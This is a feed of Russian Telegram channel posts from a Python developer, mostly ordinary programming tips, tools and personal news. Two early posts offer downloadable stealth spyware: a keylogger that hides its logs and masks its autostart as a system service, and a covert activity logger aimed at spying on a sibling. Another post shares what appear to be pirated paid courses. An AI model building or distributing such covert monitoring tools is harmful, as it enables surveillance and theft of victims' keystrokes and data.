Please open Telegram to view this post
VIEW IN TELEGRAM
❤152🤯22😁15🤣10❤🔥7🔥3💋2🥰1
Google Dorks — техника, которая превратит ваш поисковик в мощный инструмент для расследований.
Что это за "дорки" такие?
Давайте на примерах. Хотите найти презентации по маркетингу с какого-нибудь университетского сайта?
- обычный поиск: презентация маркетинг (получите тонну рекламы и курсов) ❌;
- filetype:ppt site:edu маркетинг (найдет только файлы PowerPoint (.ppt) с сайтов в доменной зоне .edu) ✅;
- site: — ищет информацию только на одном конкретном сайте;
- filetype: — ищет файлы определённого типа. Очень полезно для поиска документов, книг, отчетов;
- inurl: — ищet слoвa прямo в URL-адрeсe стрaницы;
- intitle: — ищет только в заголовках страниц.
Зачем тебе это нужно? Для учебы и работы 🎓, проверить безопасность своего сайта и утолить любопытство... 🕵️♀️
Please open Telegram to view this post
VIEW IN TELEGRAM
❤105👍21🔥9⚡5❤🔥3💋2😨1
key.rar
2.3 KB
Таргетированный кейлоггер, активирующийся только в окнах определённых приложений и умеющий корректировать раскладку. Учитывая, что вы вряд ли сможете его нормально закриптовать и вряд ли продумаете механизм возврата логов на Ваш ПК, это безопасно.
Ключевые фичи:
- скрипт активируется только тогда, когда вы работаете в заданных программах (браузеры, мессенджеры, игры). В остальное время он спит и не тратит ресурсы;
- распознавание раскладки: Корректно записывает текст вне зависимости от того, какая раскладка (RU/EN) активна;
- скрытность: Логи хранятся в недрах папки AppData, а в автозагрузке скрипт маскируется под системный сервис;
- все цели, имена файлов и пути легко меняются через config.json без необходимости лезть в код;
- вся логика инкапсулирована в класс, а ошибки не валят программу, а тихо записываются в отдельный лог-файл для анализа.
Хорошего дня!
P.S. путь к логам:
%APPDATA%\SystemCache\session.dat
Please open Telegram to view this post
VIEW IN TELEGRAM
❤51❤🔥11😱8👍5🦄2🔥1
log.rar
1.5 KB
Еще одно баловство: 🚀 Системный Аудитор: Полный лог активности
Незаметно работает в фоне и фиксирует два ключевых типа действий:
- 📂 Навигация по файлам: Скрипт отслеживает, какие папки вы открываете в "Проводнике" Windows, и скрупулезно записывает каждый ваш шаг. Идеально, чтобы вспомнить, где лежал тот самый файл;
- 💻 Запуск программ: Ни одно запущенное приложение не останется незамеченным. Аудитор мгновенно фиксирует старт любого нового процесса (.exe), записывая его имя и время запуска.
👀 Для чего это нужно?
А ВЫ ТИПО НЕ ЗНАЕТЕ. СОБРАТЬ КОМПРОМАТ НА МЛАДШЕГО БРАТА КОТОРЫЙ НАШЕЛ ПАПКУ С ПРОНОМ‼️
Незаметно работает в фоне и фиксирует два ключевых типа действий:
- 📂 Навигация по файлам: Скрипт отслеживает, какие папки вы открываете в "Проводнике" Windows, и скрупулезно записывает каждый ваш шаг. Идеально, чтобы вспомнить, где лежал тот самый файл;
- 💻 Запуск программ: Ни одно запущенное приложение не останется незамеченным. Аудитор мгновенно фиксирует старт любого нового процесса (.exe), записывая его имя и время запуска.
А ВЫ ТИПО НЕ ЗНАЕТЕ. СОБРАТЬ КОМПРОМАТ НА МЛАДШЕГО БРАТА КОТОРЫЙ НАШЕЛ ПАПКУ С ПРОНОМ
Please open Telegram to view this post
VIEW IN TELEGRAM
❤81🆒8👍5❤🔥3😁1💯1
Или вам все про вирусы да математику рассказывать?
Please open Telegram to view this post
VIEW IN TELEGRAM
👍213❤26❤🔥6🥰3🤔3🐳2🔥1🎉1
Поэтому потратил вечер и написал свой собственный десктопный конвертер медиафайлов. Полностью на Python + PyQt6, в качестве ядра - FFMPEG.
Главная цель была — сделать быстро, удобно и без рекламы. Никаких подписок (только на мой канал
- кидаешь файлы пачкой (batch processing);
- удобный Drag & Drop;
- фото к фото, видео к видео — без путаницы;
- работает офлайн, никакой интернет не нужен.
Как и сказал, под капотом трудится всеядный FFmpeg, так что на входе можно "скармливать" ему почти всё что угодно, от старых .flv до профессиональных .mov.
😜 Скачать код тут. Много реакций и соберу в .exe с FFMPEG внутри для обычных, не шарящих работяг.
Please open Telegram to view this post
VIEW IN TELEGRAM
❤360👍46🥰26🔥17❤🔥5👏4💘4
Офигеть, спасибо @BlueFaceBaby99 и @alexzactly ❤️
Это буквально первые донаты в моей жизни за "просто так", просто потому что я существую и чем-то занимаюсь. При том, что я об этом нигде не просил и не писал.
Очень приятно, нереально!🔥
Это буквально первые донаты в моей жизни за "просто так", просто потому что я существую и чем-то занимаюсь. При том, что я об этом нигде не просил и не писал.
Очень приятно, нереально!
Please open Telegram to view this post
VIEW IN TELEGRAM
❤190👍22🥰10🔥6🆒4❤🔥3
Доброе утро. Все, у кого сломался злюка (бот-модератор) и теперь при заходе в комментарии отправляется его меню - зайдите в диалог с ним и отправьте:
Я упустил момент и один человек этим воспользовался, немного сломав опыт использования. Меню пропадет после отправки команды. Сам убрать у Вас это не могу, т.к. это индивидуальные настройки Вашего чата.
/hide_menu
Я упустил момент и один человек этим воспользовался, немного сломав опыт использования. Меню пропадет после отправки команды. Сам убрать у Вас это не могу, т.к. это индивидуальные настройки Вашего чата.
🤯31👍7🥰5❤1
Тут каждый день в чатах пишут, что хотят начать, не знают с чего. Вот Вам самый лучший на сегодня БЕСПЛАТНЫЙ курс для "вкатки" , как это можно называть.
Он сейчас почему-то не на хайпе, ну и ладно... Значит, ссылка на плейлист:
ТЫК.
Немного инфы: CS50 (Computer Science 50) — это легендарный и очень популярный вводный курс по информатике и основам программирования, разработанный Гарвардским университетом. С 2015 года он также преподается в Йельском университете.
1. Для кого? Курс рассчитан на абсолютных новичков или тех, у кого есть минимальные начальные знания в программировании. Он является отличной отправной точкой для всех, кто интересуется компьютерными науками, независимо от их предыдущего опыта;
2. Чему учит? CS50 знакомит с фундаментальными концепциями информатики и программирования. Вы изучите:
- Базовые основы программирования (циклы, условные переходы, функции и т.д.);
- Принципы работы с командной строкой в Linux;
- Системы счисления;
- Алгоритмы и структуры данных;
- Введение в различные языки программирования, такие как C, Python, SQL, а также основы HTML, CSS и JavaScript;
- Также затрагивают основы кибербезопасности и искусственного интеллекта.
Please open Telegram to view this post
VIEW IN TELEGRAM
❤108❤🔥16👍14🔥6🥰2
This media is not supported in your browser
VIEW IN TELEGRAM
Найден способ узнать аниме по любому кадру. Бесплатно и моментально определит сериал, эпизод и таймкод по вашему скриншоту. Распознает даже мемы.
Ссылка
PS: сайт поднялся!
Please open Telegram to view this post
VIEW IN TELEGRAM
❤145🤣27🥰19🤷♀11👍9❤🔥6🙏2😡2
Всем хорошего вечера!
👨💻 Из того, что в видосах не показывал, добавил обрезку черных полос, но уже не захардкодил, а делаем это интеллектуально, для каждого видео индивидуально. + не только для скачанных с youtube, а и для локальных файлов. + добавил возможность наложить звук, а также регулировать громкость наложенного/родного звука видео, чтобы их можно было смешать или добавить фоновую музыку.
СКАЧАТЬ
P.S. постарался FFPEG и yt-dlp упаковать, но на своей системе корректность работы проверить не могу, ибо они у меня в PATH по умолчанию. Но вроде, должно работать.
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥143❤44👍19❤🔥4😢3🥰1🌭1😡1
- Полное овладение Python (2023);
- Bogdan Stashchuk(Udemy) Полный курс по Python (2022);
- Python для хакера . Серия статей . Изучаем Python на практических примерах (2022);
- Основы математики для Data Science;
- Профессия 1с-разработчик c нуля до PRO;
- Сквозная аналитика;
- Adobe After Effects с 0 до PRO;
- Веб-аналитик с нуля до Junior;
- Fashion-скетчинг.
Кто с Украины, используем VPN, ибо все на облаке mail.ru выложено.
P.S. качество курсов по понятным причинам проверить не смог. Знаю только, что в общем доступе их нет и изначально они платные. Если у кого-то был опыт, делитесь в комментариях советами.
Please open Telegram to view this post
VIEW IN TELEGRAM
❤147👍31🥰15❤🔥3🏆3🤨1
Давайте сравним на казуальной задаче: парсинг веб-страницы. Задача - собрать все заголовки с главной страницы Wikipedia.
На Python для этого нужно использовать только: requests, BeautifulSoup. А вот на C++ придется по-мучится с libcurl и Gumbo-parser.
Что у нас получается на Python? Буквально 7 строк. А вот, что получится для С++:
#include <iostream>
#include <string>
#include <vector>
#include <curl/curl.h>
#include <gumbo.h>
size_t write_callback(void *contents, size_t size, size_t nmemb, std::string *s) {
size_t new_length = size * nmemb;
try {
s->append((char*)contents, new_length);
} catch(std::bad_alloc &e) {
return 0;
}
return new_length;
}
void search_for_headers(GumboNode* node, std::vector<std::string>& headers) {
if (node->type != GUMBO_NODE_ELEMENT) {
return;
}
GumboTag tag = node->v.element.tag;
if (tag >= GUMBO_TAG_H1 && tag <= GUMBO_TAG_H6) {
GumboVector* children = &node->v.element.children;
for (unsigned int i = 0; i < children->length; ++i) {
GumboNode* child = static_cast<GumboNode*>(children->data[i]);
if (child->type == GUMBO_NODE_TEXT) {
headers.push_back(child->v.text.text);
}
}
}
GumboVector* children = &node->v.element.children;
for (unsigned int i = 0; i < children->length; ++i) {
search_for_headers(static_cast<GumboNode*>(children->data[i]), headers);
}
}
int main() {
CURL *curl;
CURLcode res;
std::string html_content;
curl = curl_easy_init();
if (curl) {
curl_easy_setopt(curl, CURLOPT_URL, "https://ru.wikipedia.org/wiki/Заглавная_страница");
curl_easy_setopt(curl, CURLOPT_WRITEFUNCTION, write_callback);
curl_easy_setopt(curl, CURLOPT_WRITEDATA, &html_content);
res = curl_easy_perform(curl);
if (res != CURLE_OK) {
std::cerr << "Ошибка curl_easy_perform(): " << curl_easy_strerror(res) << std::endl;
}
curl_easy_cleanup(curl);
}
if (html_content.empty()) {
std::cerr << "Не удалось загрузить HTML." << std::endl;
return 1;
}
GumboOutput* output = gumbo_parse(html_content.c_str());
std::vector<std::string> headers;
search_for_headers(output->root, headers);
std::cout << "Найденные заголовки:" << std::endl;
for (const auto& header : headers) {
std::cout << "- " << header << std::endl;
}
gumbo_destroy_output(&kGumboDefaultOptions, output);
return 0;
}
Как видите, код на C++ требует:
- ручного управления зависимостями: нужно установить и слинковать библиотеки;
- более низкоуровневой работы: вы вручную настраиваете curl, пишете callback-функцию для сохранения данных;
- явного обхода дерева: вы рекурсивно обходите DOM-дерево, построенное Gumbo;
- ручного управления памятью: вы обязаны вызвать gumbo_destroy_output, чтобы избежать утечек памяти.
Please open Telegram to view this post
VIEW IN TELEGRAM
👍100❤39🤯6❤🔥4🔥2🥰1🌭1
На платформе доступны такие модели, как:
- GPT-4o Mini
- Gemini Flash
- DeepSeek
- Claude Haiku
- Claude Sonnet
- GPT-4.1
Please open Telegram to view this post
VIEW IN TELEGRAM
❤🔥56👍20❤10🔥9⚡1🤝1
РЕПОЗИТОРИЙ | САЙТ
Chalk.ist и нужен только для того, чтобы делать из вашего скучного исходного кода потрясающие изображения.
✨ Основные возможности:
- Гибкое управление кодовыми блоками: Добавляйте, удаляйте, меняйте порядок и настраивайте языки для ваших кодовых блоков.
- Визуальные преобразования: Выделяйте важные строки, фокусируйтесь на конкретных участках или показывайте различия (добавления/удаления) в коде.
- Полная кастомизация: фон, шрифты, окно, темы, бейджи.
Please open Telegram to view this post
VIEW IN TELEGRAM
❤54👍13🔥11❤🔥3
Тут ребята предлагают работу, я взяться не могу, но дам Вам объявление. Если знакомы с веб-автиматизацией и Selenium, Playwright - попробуйте подать им заявку (разверните, чтобы полностью прочитать вакансию. Подойдет как разовое сотрудничество так и постоянное!):
Привет! У нас открыта вакансия инженера по автоматизации на Python. Ищем того, кто готов работать с браузерной автоматизацией, прокси и ИИ. Если тебе интересно, откликайся и приходи на интервью уже сегодня. Не упусти шанс стать частью проекта!
Должность: Инженер по автоматизации на Python: браузерная автоматизация, прокси и интеграция ИИ
Формат: Удалённо (Пн-Пт, с 7:00 до 16:00 по EST)
Тип занятости: Полный рабочий день, контракт (с оплачиваемым испытательным сроком 1 месяц)
О PRAI.co
PRAI.co трансформирует сферу PR с помощью искусственного интеллекта. Наша основная платформа, PRAI Transformer помогает брендам достигать широкой видимости, формировать повестку и лидировать в цифровом пространстве.
Сейчас мы создаём инструменты следующего поколения: кастомные браузерные решения, ИИ-автоматизацию и масштабируемые системы на основе прокси. Если вы увлечены автоматизацией и хотите развиваться в быстрорастущем AI-стартапе, будем рады познакомиться.
Обязанности
Мы ищем Python-инженера среднего уровня, который поможет расширить систему браузерной автоматизации.
Вы будете решать реальные задачи: эмуляция поведения пользователей в браузере, адаптация ботов под изменения фронтенда и внедрение ИИ-компонентов в рабочие процессы.
Отличная возможность для специалиста, который хочет перейти от стандартной автоматизации к более сложным системам и ИИ-инструментам.
Основные задачи
-Написание и поддержка скриптов автоматизации с использованием Selenium или Playwright
-Эмуляция поведения реальных пользователей (движение мыши, задержки, ввод текста, скроллинг)
-Интеграция прокси-сервисов и ротация IP-адресов
-Отладка проблем, связанных с детектированием ботов и капчами
-Адаптация скриптов к изменениям во фронтенде сайтов
-Подключение автоматизации к базам данных (MongoDB, PostgreSQL) и Redis
-Внедрение лёгких ИИ-моделей или API для умной логики
-Мониторинг производительности и отчётность перед инженерной командой
Требования
-2–3 года опыта разработки на Python, включая автоматизацию
-Опыт с браузерной автоматизацией (Playwright, Selenium или Puppeteer)
-Понимание прокси, ротации IP и методов обхода детектирования
-Опыт работы с динамическими веб-сайтами (HTML, CSS, JavaScript)
-Знание Git, асинхронного Python и отладочных инструментов
-Уверенное владение английским для тех. терминов
-Готовность обучаться продвинутым методам: кастомизация браузеров, ИИ-интеграции и пр.
Преимущества
-Опыт с undetected-chromedriver, stealth-плагинами или методами обхода антиботов
-Знание Docker, Redis или систем фоновых задач (например, Celery)
-Знакомство с AI/ML-инструментами (OpenAI API, Langchain, Hugging Face)
-Базовое понимание системного дизайна и мониторинга производительности
Что мы предлагаем
-Удалённая работа с графиком по EST
-Оплачиваемый месяц на испытательном сроке с возможностью повышения ставки по итогам
-Менторство от старших инженеров, работающих с продвинутыми ИИ- и автоматизационными системами
-Работа над продуктом с глобальным охватом и реальными пользователями
-Быстрый темп, масштаб, рост и реальное влияние вашего кода
Как подать заявку
Отправьте на @olexandra_vakul :
-Краткое сообщение о вашем опыте с браузерной автоматизацией и мотивации на эту роль
-Резюме или профиль в LinkedIn
-GitHub или примеры кода (если есть)
Если вы готовы прокачать свои навыки в Python-автоматизации в реальной ИИ-среде, мы готовы работать с вами.
Откликайтесь, построим новое поколение умной автоматизации.
Please open Telegram to view this post
VIEW IN TELEGRAM
😭141❤20👍14😁7🤯6🔥3🥰3🐳3
Всем привет. В общем, после влета дрона в мой дом.... На той неделе закончил со сборкой ПК. SSD со старого (сгоревшего), который в целом выглядел ОК визуально, оказался не рабочим, 3 ячейки памяти из 4 неработоспособны, ибо обгорели. Перенести инфу, проекты и рабочий телеграм-аккаунт, с которого общался с заказчиками, я не смог, ибо диск только стартовал, а при попытке взаимодействовать с файловой системой, перезагрузка -> bios.
Сейчас я глобально в депрессии, ибо попал на много денег, т.к. квартира была моя, как и все имущество в ней. Восстанавливать мне государство ее не будет: для подачи документов на это нужно идти в военкомат, а идти в военкомат… Вы понимаете.
Я все еще помню о том, что есть заказчики, с которыми работали и я пропал внезапно. Поверьте, не по моей воле. Вам отвечать тоже возможности не было, т.к. аккаунт для рабочего общения был только на компьютере и телефоне для работы, которые я с собой в укрытие очевидно не забирал в ту ночь.
Поэтому всех, с кем работал/от кого получил средства и не дал результат, прошу отписать снова через бот(а), дам вам свой новый аккаунт. Всем сразу не отвечу, ибо опять-таки, я морально не вывезу со всеми общаться. Да, неправильно, да эгоистично. Как есть. Какие-то наработки по вашим проектам остались у меня в облаке, а для кого-то все слетело. Кидать никого не намерен, либо сделаю вам проекты, либо сделаю другие, если те актуальность потеряли, либо буду постепенно возвращать деньги.
Нужно систематизировать проблему и двигаться дальше, начинать работать, ибо сейчас моральное состояние ни к черту и опускаются руки. Ни хотел никому причинить вреда/никого обидеть.
Обещаю себе и Вам с завтрашнего дня вести этот канал, делать хотя-бы 1-2 поста в день, как и 1-2 видео в день в ТТ.
Сейчас я глобально в депрессии, ибо попал на много денег, т.к. квартира была моя, как и все имущество в ней. Восстанавливать мне государство ее не будет: для подачи документов на это нужно идти в военкомат, а идти в военкомат… Вы понимаете.
Я все еще помню о том, что есть заказчики, с которыми работали и я пропал внезапно. Поверьте, не по моей воле. Вам отвечать тоже возможности не было, т.к. аккаунт для рабочего общения был только на компьютере и телефоне для работы, которые я с собой в укрытие очевидно не забирал в ту ночь.
Поэтому всех, с кем работал/от кого получил средства и не дал результат, прошу отписать снова через бот(а), дам вам свой новый аккаунт. Всем сразу не отвечу, ибо опять-таки, я морально не вывезу со всеми общаться. Да, неправильно, да эгоистично. Как есть. Какие-то наработки по вашим проектам остались у меня в облаке, а для кого-то все слетело. Кидать никого не намерен, либо сделаю вам проекты, либо сделаю другие, если те актуальность потеряли, либо буду постепенно возвращать деньги.
Нужно систематизировать проблему и двигаться дальше, начинать работать, ибо сейчас моральное состояние ни к черту и опускаются руки. Ни хотел никому причинить вреда/никого обидеть.
Обещаю себе и Вам с завтрашнего дня вести этот канал, делать хотя-бы 1-2 поста в день, как и 1-2 видео в день в ТТ.
😢754❤104😭60😨21🤯9🤣7🔥6😱6
Кратко расскажу об альтернативах
1) SQLite
- Плюсы: Простая, быстрая, не требует отдельного сервера, встроена в Python.
- Минусы: Ограниченная поддержка многопоточности, не подходит для больших объемов данных.
🎯 Идеально для: Небольших проектов, мобильных приложений, тестирования.
2) PostgreSQL
- Плюсы: Мощная, расширяемая, поддерживает сложные запросы и большие объемы данных.
- Минусы: Требовательна к ресурсам, сложнее в настройке.
🎯 Идеально для: Крупных веб-приложений, систем аналитики, научных проектов.
3) MongoDB
- Плюсы: Гибкая схема данных, горизонтальное масштабирование, высокая скорость записи.
- Минусы: Ограниченная поддержка транзакций, не подходит для связанных данных.
🎯 Идеально для: Big Data, социальных сетей, IoT, контент-менеджмента.
4) Redis
- Плюсы: Очень быстрая (in-memory), подходит для кэширования и очередей сообщений.
- Минусы: Данные хранятся в оперативной памяти (ограниченный объем), риск потери данных при сбое.
🎯 Идеально для: Кэширования сессий пользователей, real-time аналитики, чатов.
Please open Telegram to view this post
VIEW IN TELEGRAM
❤96👍16🔥11❤🔥3🤣1
Сегодня о классической связке, которая лежит в основе многих крутых проектов: Python и MySQL.
🤔 Как они "дружат?"
Python "общается" с базами данных MySQL с помощью специальных библиотек-коннекторов. Самые популярные — mysql-connector-python (официальный от Oracle) и PyMySQL.
1. Веб-приложения на Django & Flask: Это самая частая сфера применения. Интернет-магазины, блоги, CRM-системы, социальные сети — везде, где нужно надежно хранить данные о пользователях, товарах или постах, MySQL отлично справляется с ролью хранилища. Django и Flask имеют прекрасную интеграцию с этой СУБД.
2. Аналитика и ETL-процессы: Представьте, что вы парсите данные с сайтов. Python-скрипт собирает информацию, обрабатывает ее и аккуратно записывает в таблицы MySQL. Позже эти данные можно легко анализировать и строить отчеты.
3. Телеграм-боты: Ваш бот должен помнить пользователей, их настройки или историю сообщений? MySQL — отличный и надежный выбор для хранения этой информации.
4. Системы мониторинга: Скрипты, которые следят за состоянием серверов или приложений, могут записывать логи и метрики в базу MySQL для последующего анализа.
Python + MySQL — это надежное и масштабируемое решение для огромного спектра задач.
P.S. я вижу сообщения от ВСЕХ в боте, не нужно писать по несколько раз. Я закрываю вопрос с 2-3 людьми, потом иду дальше.
Если я начну отвечать всем и сразу - никто решение своей проблемы не получит, а я к тому, что сейчас кушаю золофт, еще пару таблеток у психиатра выпишу. До всех очередь дойдет, компенсирую работой/деньгами.
Please open Telegram to view this post
VIEW IN TELEGRAM
❤60❤🔥10⚡5🔥3👍2🥰1🤔1💋1
What It Prints - это простая, но увлекательная игра-головоломка для программистов и всех, кто интересуется кодом. Зайти туда и "тренироваться" можно будучи адептом практически любого из востребованных сейчас языков: (JavaScript, Python, Ruby, C++ и других).
Сайт показывает вам небольшой фрагмент кода на разных языках программирования. Ваша задача — угадать, что именно этот код выведет на экран. Никаких сложных настроек, компиляторов и IDE. Только вы, код и ваша логика.
- проверить свои знания в разных языках;
- научиться быстрее читать и понимать чужой код;
- узнать новые "фишки" и особенности языков;
- просто "залипнуть" на несколько минут (или часов 😉) с пользой для ума.
Please open Telegram to view this post
VIEW IN TELEGRAM
⚡57❤36✍8😡7👍5🔥5😴5🤔2
Парсить сайты на Selenium уже не считается практичным. Он медленней конкурентов. Единственное преимущество - это большое сообщество, которое делится опытом и поможет найти решение любой проблемы, практически. Но мой опыт показывает, что условный Playwright или DrissionPage быстрее, лучше справляются с задачами, где нужно "маскировать" автоматизацию.
Чем SeleniumBase лучше?
- простой синтаксис;
- встроенная защита от бот-детекторов;
- автоматическое управление драйверами - не нужно вручную скачивать и прописывать пути к chromedriver;
- "умные" ожидания: Скрипт не упадет, если элемент не успел прогрузиться. SeleniumBase автоматически дождется его появления перед тем, как выполнить действие. Это делает парсеры намного стабильнее.
По сути, он упрощает код и помогает обходить защиту там, где обычный Selenium уже не справляется. Вот такой вот опыт.
P.S. жду стул и микрофон, не могу пока ТТ вести, скоро фулл-комбек. Прямо сегодня утром закрыл 3-х заказчиков, сегодня отпишу еще троим. Жизнь продолжается, по чуть продолжаем работу.
Please open Telegram to view this post
VIEW IN TELEGRAM
👍79❤30🔥14🥰3🐳3⚡2👏1🌭1